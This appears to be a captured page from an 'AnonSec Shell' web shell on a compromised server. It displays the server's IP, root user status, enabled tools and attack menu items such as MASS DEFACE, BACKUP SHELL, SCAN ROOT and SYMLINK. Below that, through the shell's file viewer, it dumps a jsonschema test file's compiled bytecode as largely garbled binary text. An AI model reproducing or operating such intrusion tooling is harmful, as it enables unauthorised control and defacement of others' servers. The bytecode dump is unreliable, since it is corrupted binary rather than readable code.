AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/jsonschema/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/jsonschema/tests/__pycache__/test_exceptions.cpython-310.pyc
o

>��]�;�@s�ddlmZddlZddlmZmZddlmZGdd�de�ZGdd�de�Z	Gd	d
�d
e�Z
Gdd�de�ZGd
d�de�ZdS)�)�TestCaseN)�Draft4Validator�
exceptions)�PY3c@�TeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�
TestBestMatchcCsHt|�}t�|�}t�t|��}d}|j|��|��|�||�d�|S)Nz:Didn't return a consistent best match!
Got: {0}

Then: {1})�msg)�listr�
best_match�reversed�assertEqual�	_contents�format)�self�errors�best�
reversed_bestr�r�B/usr/lib/python3/dist-packages/jsonschema/tests/test_exceptions.pyr
	s

�zTestBestMatch.best_matchcCsHtddddddiid�ii�}|�|�ddgii��}|�|jd�dS)	N�
properties�foo��bar�type�object)�
minPropertiesrr�rr
�iter_errorsr�	validator�rrrrrr�(test_shallower_errors_are_better_matchess
����
z6TestBestMatch.test_shallower_errors_are_better_matchescCsJtdddiddigddiddigd��}|�|�i��}|�|jd�dS)zn
        A property you *must* match is probably better than one you have to
        match a part of.
        rr�string�number)r�anyOf�oneOfrNrrrrr�%test_oneOf_and_anyOf_are_weak_matches"s��z3TestBestMatch.test_oneOf_and_anyOf_are_weak_matchesc	C�Rtdddddiddddiiigiii�}|�|�dddii��}|�|jd�d	S)
aL
        If the most relevant error is an anyOf, then we traverse its context
        and select the otherwise *least* relevant error, since in this case
        that means the most specific, deep, error inside the instance.

        I.e. since only one of the schemas must match, we look for the most
        relevant one.
        rrr#rr!r�array�N�rr
rr�validator_valuerrrr�8test_if_the_most_relevant_error_is_anyOf_it_is_traversed2�
�����zFTestBestMatch.test_if_the_most_relevant_error_is_anyOf_it_is_traversedc	Cr&)
aL
        If the most relevant error is an oneOf, then we traverse its context
        and select the otherwise *least* relevant error, since in this case
        that means the most specific, deep, error inside the instance.

        I.e. since only one of the schemas must match, we look for the most
        relevant one.
        rrr$rr!rr'r(Nr)rrrr�8test_if_the_most_relevant_error_is_oneOf_it_is_traversedKr,zFTestBestMatch.test_if_the_most_relevant_error_is_oneOf_it_is_traversedc	CsRtdddddiddddiiigiii�}|�|�dddii��}|�|jd�d	S)
z�
        Now, if the error is allOf, we traverse but select the *most* relevant
        error from the context, because all schemas here must match anyways.
        rr�allOfrr!rr'r(Nr)rrrr�8test_if_the_most_relevant_error_is_allOf_it_is_traversedds�����zFTestBestMatch.test_if_the_most_relevant_error_is_allOf_it_is_traversedcCs^tdddddidddiddddiiigigiii�}|�|�dddii��}|�|jd�dS)	Nrrr$rr!rr'r(r)rrrr�test_nested_context_for_oneOfys(���������z+TestBestMatch.test_nested_context_for_oneOfcCs6tddi�}|�i�\}|�t�|�i��jd�dS)Nrr)rrrrr
r)rr�errorrrr�test_one_error�s�zTestBestMatch.test_one_errorcCs"ti�}|�t�|�i���dS)N)r�assertIsNonerr
r)rrrrr�test_no_errors�szTestBestMatch.test_no_errorsN)�__name__�
__module__�__qualname__r
r r%r+r-r/r0r2r4rrrrrsrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestByRelevancecCsbtjddgd�}tjdddgd�}t||gtjd�}|�||�t||gtjd�}|�||�dS)N�Oh no!�baz��path�Oh yes!rr��key)r�ValidationError�max�	relevance�assertIs)r�shallow�deep�matchrrr�#test_short_paths_are_better_matches�sz3TestByRelevance.test_short_paths_are_better_matchescCs~tjdgd�}tjddgd�}t||gtjd�}|�dd�|D�dggg�t||gtjd�}|�dd�|D�dggg�dS)	Nr9r;r=rr>cS�g|]}t|j��qSr�r	r<��.0r1rrr�
<listcomp>��zNTestByRelevance.test_global_errors_are_even_better_matches.<locals>.<listcomp>cSrHrrIrJrrrrL�rM)rr@�sortedrBr)rrDrErrrr�*test_global_errors_are_even_better_matches�s��z:TestByRelevance.test_global_errors_are_even_better_matchescCshtjdgdd�}tjdgdd�}tjdd�}t||g|d�}|�||�t||g|d�}|�||�dS)Nr9�a�r<rr=�b)�weakr>�rr@�by_relevancerArC)rrS�normalr
rFrrr�'test_weak_validators_are_lower_priority�sz7TestByRelevance.test_weak_validators_are_lower_prioritycCs~tjdgdd�}tjdgdd�}tjdgdd�}tjddd�}t|||g|d	�}|�||�t|||g|d	�}|�||�dS)
Nr9rPrQr=rRzOh fine!�c)rS�strongr>rT)rrSrVrYr
rFrrr�*test_strong_validators_are_higher_priority�sz:TestByRelevance.test_strong_validators_are_higher_priorityN)r5r6r7rGrOrWrZrrrrr8�s
	r8c@r)�
TestErrorTreecCs.dd�td�D�}t�|�}|�|jd�dS)NcSsg|]	}tjd|d��qS)�	Something�r)rr@)rK�irrrrL�s��zQTestErrorTree.test_it_knows_how_many_total_errors_it_contains.<locals>.<listcomp>�)�ranger�	ErrorTreer�total_errors�rr�treerrr�/test_it_knows_how_many_total_errors_it_contains�s
�
z=TestErrorTree.test_it_knows_how_many_total_errors_it_containscCs,tjddgd�g}t�|�}|�d|�dS)N�	a messagerr;)rr@ra�assertInrcrrr�1test_it_contains_an_item_if_the_item_had_an_error��
z?TestErrorTree.test_it_contains_an_item_if_the_item_had_an_errorcCs,tjddgd�g}t�|�}|�d|�dS)Nrfrr;r)rr@ra�assertNotInrcrrr�9test_it_does_not_contain_an_item_if_the_item_had_no_error�rizGTestErrorTree.test_it_does_not_contain_an_item_if_the_item_had_no_errorcCs0tjddd�}t�|g�}|�|jd|i�dS)Nrfrr]�rr@rarr�rr1rdrrr�1test_validators_that_failed_appear_in_errors_dict�sz?TestErrorTree.test_validators_that_failed_appear_in_errors_dictcCsPtjddgd�tjdddgd�g}t�|�}|�d|d�|�d|d�dS)Nz
a bar messagerr;za bar -> 0 messager�)rr@rargrjrcrrr�1test_it_creates_a_child_tree_for_each_nested_path�s�
z?TestErrorTree.test_it_creates_a_child_tree_for_each_nested_pathcCsXtjddddgd�tjddddgd�}}t�||g�}|�|ddj||d��dS)	N�1rrr)rr<�2�quux)rrsrl)r�e1�e2rdrrr�+test_children_have_their_errors_dicts_built�s
� z9TestErrorTree.test_children_have_their_errors_dicts_builtcCs@tjddddgdd�tjddd	d
gdd�}}t�||g�dS)Nrqrr�bar2�i1)rr<�instancerrrs�foobarr�i2)rr@ra)rrtrurrr�"test_multiple_errors_with_instance�s���z0TestErrorTree.test_multiple_errors_with_instancecCsTtjddgd�}t�|g�}|�t��
|dWd�dS1s#wYdS)N�123r)rryr)rr@ra�assertRaises�
IndexErrorrmrrr�>test_it_does_not_contain_subtrees_that_are_not_in_the_instances

"�zLTestErrorTree.test_it_does_not_contain_subtrees_that_are_not_in_the_instancecCs6tjddidgd�}t�|g�}|�|dtj�dS)z�
        If a validator is dumb (like :validator:`required` in draft 3) and
        refers to a path that isn't in the instance, the tree still properly
        returns a subtree for that path.
        rfr)rryr<N)rr@ra�assertIsInstancermrrr�9test_if_its_in_the_tree_anyhow_it_does_not_raise_an_errors

�zGTestErrorTree.test_if_its_in_the_tree_anyhow_it_does_not_raise_an_errorN)r5r6r7rerhrkrnrprvr|r�r�rrrrr[�s		r[c@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)�TestErrorInitReprStrcKs0tddddddid�}|�|�tjdi|��S)N�hellorr!�)�messagerr*ry�schemar)�dict�updaterr@)r�kwargs�defaultsrrr�
make_error"s�
zTestErrorInitReprStr.make_errorcKsbtr|�dd�}t�|��d�}|jdi|��}t|��d�\}}}|�||j	�|�||�dS)Nzu'�'�
r)
r�replace�textwrap�dedent�rstripr��str�	partitionrr�)r�expectedr�r1�message_line�_�restrrr�assertShows-sz TestErrorInitReprStr.assertShowscCs|��}|�t|j�d�dS)Nro)r��
assertGreater�len�args)rr1rrr�!test_it_calls_super_and_sets_args7sz6TestErrorInitReprStr.test_it_calls_super_and_sets_argscCs |�ttjdd��dd�dS)NzHello!�r�z<ValidationError: %r>)r�reprrr@�rrrr�	test_repr;s�zTestErrorInitReprStr.test_reprcCsht�d�}|�t|�d�dddddid�}|D]}t|�}||=tjdi|��}|�t|�d�qdS)Nr�rr!r�)rr*ryr�r�)rr@rr�r�)rr1r��attr�krrr�test_unset_errorAs
��z%TestErrorInitReprStr.test_unset_errorcCs|jdggd�dS)Nz�
            Failed validating u'type' in schema:
                {u'type': u'string'}

            On instance:
                5
            �r<�schema_path�r�r�rrr�test_empty_pathsRs

�z%TestErrorInitReprStr.test_empty_pathscCs|jddgdgd�dS)Nz�
            Failed validating u'type' in schema:
                {u'type': u'string'}

            On instance[0]:
                5
            r�itemsr�r�r�rrr�test_one_item_paths_s

�z(TestErrorInitReprStr.test_one_item_pathscCs|jdddggd�d�dS)Nz�
            Failed validating u'type' in schema[u'items'][0]:
                {u'type': u'string'}

            On instance[0][u'a']:
                5
            rrP)r�rror�r�r�rrr�test_multiple_item_pathsls

�z-TestErrorInitReprStr.test_multiple_item_pathscCs0|jdttd��tttd�td���dd�dS)Na@
            Failed validating u'maxLength' in schema:
                {0: 0,
                 1: 1,
                 2: 2,
                 3: 3,
                 4: 4,
                 5: 5,
                 6: 6,
                 7: 7,
                 8: 8,
                 9: 9,
                 10: 10,
                 11: 11,
                 12: 12,
                 13: 13,
                 14: 14,
                 15: 15,
                 16: 16,
                 17: 17,
                 18: 18,
                 19: 19}

            On instance:
                [0,
                 1,
                 2,
                 3,
                 4,
                 5,
                 6,
                 7,
                 8,
                 9,
                 10,
                 11,
                 12,
                 13,
                 14,
                 15,
                 16,
                 17,
                 18,
                 19,
                 20,
                 21,
                 22,
                 23,
                 24]
            ���	maxLength)ryr�r)r�r	r`r��zipr�rrr�test_uses_pprintys
2
�z%TestErrorInitReprStr.test_uses_pprintcsFG�fdd�dt�}|�}tjdd|ddd�}��t|�t|��dS)	z�
        Check for https://github.com/Julian/jsonschema/issues/164 which
        rendered exceptions unusable when a `ValidationError` involved
        instances with an `__eq__` method that returned truthy values.
        cs$eZdZ�fdd�Z�fdd�ZdS)zdTestErrorInitReprStr.test_str_works_with_instances_having_overriden_eq_operator.<locals>.DontEQMeBroc���d�dS�NzDon't!��fail��this�otherr�rr�__eq__��zkTestErrorInitReprStr.test_str_works_with_instances_having_overriden_eq_operator.<locals>.DontEQMeBro.__eq__cr�r�r�r�r�rr�__ne__�r�zkTestErrorInitReprStr.test_str_works_with_instances_having_overriden_eq_operator.<locals>.DontEQMeBro.__ne__N)r5r6r7r�r�rr�rr�DontEQMeBro�sr�rfr�somer�)rryr*r�N)rrr@rgr�r�)rr�ryr1rr�r�:test_str_works_with_instances_having_overriden_eq_operator�s�zOTestErrorInitReprStr.test_str_works_with_instances_having_overriden_eq_operatorN)
r5r6r7r�r�r�r�r�r�r�r�r�r�rrrrr�!s



9r�c@seZdZdd�ZdS)�TestHashablecCs$tt�d�g�tt�d�g�dS)N�)�setrr@�SchemaErrorr�rrr�
test_hashable�szTestHashable.test_hashableN)r5r6r7r�rrrrr��sr�)
�unittestrr��
jsonschemarr�jsonschema.compatrrr8r[r�r�rrrr�<module>s4N+

Anon7 - 2022
AnonSec Team